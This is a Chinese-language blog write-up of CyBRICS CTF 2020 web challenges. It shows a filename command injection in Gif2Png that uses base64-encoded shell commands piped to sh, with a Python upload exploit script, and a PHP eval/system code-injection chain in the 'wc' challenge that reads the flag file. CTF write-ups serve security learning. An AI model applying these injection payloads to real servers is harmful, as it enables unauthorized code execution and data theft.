CyBRICS CTF 2020 Writeup | iluem'Blog

CyBRICS CTF 2020 Writeup

发布 : 2020-07-28 分类 : Web 浏览 :

CyBRICS CTF 2020 Web

Hunt

一道简单的js,大致思路是通过控制台修改js里的函数然后删除已有的标签,重新运行初始化函数即可。

Gif2Png

题目给了源码,flag在main.py文件中,利用的点很明显就是如下所示代码,其中文件名是可控的,所以直接命令注入即可。

command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)

但是没有回显而且不出网,因此只能将文件复制到可以访问的地方,其中给了一个路由

@app.route('/uploads/<uid>/<image>')
def image(uid, image):
    logging.debug(request.headers)
    dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
    return send_from_directory(dir, image)

所以可以把文件拷贝到uploads/uid下来即可,uid会在上传时候给你返回的。也可在uploads下生成路径+文件名。

但要注意其中过滤了的内容过滤了的字符。

 if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
            logging.debug(f'Invalid symbols in filename: {file.content_type}')
            flash('Invalid filename', 'danger')
            return redirect(request.url)

其中给了|和=,因此命令可以用base64编码绕过。

filename="'||echo 'dGFyIC1jdmYgIHVwbG9hZHMvNWFkZmZkYmEtZjdiZS00YTAwLWI2NTItZDMzNjVhODJlYjc4LzMudGFyICo='|base64 -d|sh||'2.gif"
ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\

'||echo 'tar -cvf  uploads/5adffdba-f7be-4a00-b652-d3365a82eb78/3.tar *'|base64 -d|sh||'2.gif

当然可以用的命令还有 cp main.py uploads/iluem/main.py

参考python 脚本如下

import requests, base64

# Shellcode to execute 
shellcode = "mkdir uploads/iluem &&tar -cvf uploads/iluem/main.py main.py"
#tar -cvf  uploads/5adffdba-f7be-4a00-b652-d3365a82eb78/3.tar *
# b64 encoded shellcode
encoded = base64.b64encode(shellcode.encode("utf-8")).decode("utf-8")

print(encoded)
# Exploit string
exp = f"\'||echo \'{encoded}\'|base64 -d|sh||\'1.gif"

# Upload file
files = {'file':(exp, open('2.gif', 'rb'), 'image/gif')}
r = requests.post("http://gif2png-cybrics2020.ctf.su/", files=files)

wc

这题代码有点多,但是可以利用的点似乎只有在calc里。

//calc.php
<?php
if (!@$_SESSION['userid']) {
    redir(".");
} elseif (!@$_GET['template']) {
    redir(".");
}

$userid = $_SESSION['userid'];
$template = $_GET['template'];

if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) {
    redir(".");
}
if (!is_file("calcs/$userid/templates/$template.html")) {
    redir(".");
}
//;eval(system(cp /flag /var/www/iluem.txt));
//;eval(system("cp /flag /var/www/321.txt")) ?>
    //tar -cvf  /var/www/html/222.html /flag
if (trim(@$_POST['field'])) {
    $field = trim($_POST['field']);

    if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
        $value = "BAD";
    } else {
        if (@$_POST['share']) {
            $calc = uuid();
            file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
            redir("?p=sharelink&calc=$calc");
        } else {
            try {
                $value = eval("return $field;");
            } catch (Throwable $e) {
                $value = null;
            }

            if (!is_numeric($value) && !is_string($value)) {
                $value = "ERROR";
            } else {
                $value = (string)$value;
            }
        }
    }

    echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}

require "inc/calclib.html";
require "calcs/$userid/templates/$template.html";

但是比赛时思路太死了,一直在想怎么执行eval。却忽视了share里的内容,说到底还是读代码能力不足。

正则里的限制太多,导致了可用的字符太少。赛后看到奇奇师傅的题解才顿悟。涨知识了。首先题目给了一个注册功能。用来获得session,同时允许我们上传计算模板的html。可以根据calc里的参数找到newtemplate.php里的内容。上里边限制了上传的内容不能有<?而且必须包含计算器功能的id标签。

//newtemplate.php
<?php
    ···
if (trim(@$_POST['html'])) {
    do {
        $html = trim($_POST['html']);
        if (strpos($html, '<?') !== false) {
            $error = "Bad chars";
            break;
        }

        $requiredBlocks = [
            'id="back"',
            'id="field" name="field"',
            'id="digit0"',
            'id="digit1"',
            'id="digit2"',
            'id="digit3"',
            'id="digit4"',
            'id="digit5"',
            'id="digit6"',
            'id="digit7"',
            'id="digit8"',
            'id="digit9"',
            'id="plus"',
            'id="equals"',
        ];

        foreach ($requiredBlocks as $block) {
            if (strpos($html, $block) === false) {
                $error = "Missing required block: '$block'";
                break(2);
            }
        }
    ···

这中间有个点就是calc里requirecalclib.htmltemplate.html但是只有传递了时才会用到。

if (@$_POST['share']) {
            $calc = uuid();
            file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
            redir("?p=sharelink&calc=$calc");

可控变量$filed与后边两个html进行拼接,引用<?=总是可用的(即作为echo 调用)。因此可以利用前边的<? 后边构造 命令执行的语句即可。通过使用注释符将两者中间的html文件注释掉,并在template中写入恶意代码就能完成。

<script>var preloadValue = <?=json_encode((string)($field))

上传html代码并在结尾加上;eval(system('cat flag'))?>并且构造$field=/*((*/1))/*然后文件就会变成()匹配正则

var preloadValue = <?=json_encode((string)(1))/*···*/;eval(system('cat /flag'))?>

这样,利用多行注释闭合了json_encode()的同时也让php命令从中逃逸出来成功执行,得到flag

<script>var preloadValue = "1"cybrics{5aMe_7h1ng_W3_d0_3Ve5y_n16ht_P1nKY.Try_2_t4k3_0vEr_t3h_w0RLd}
留下足迹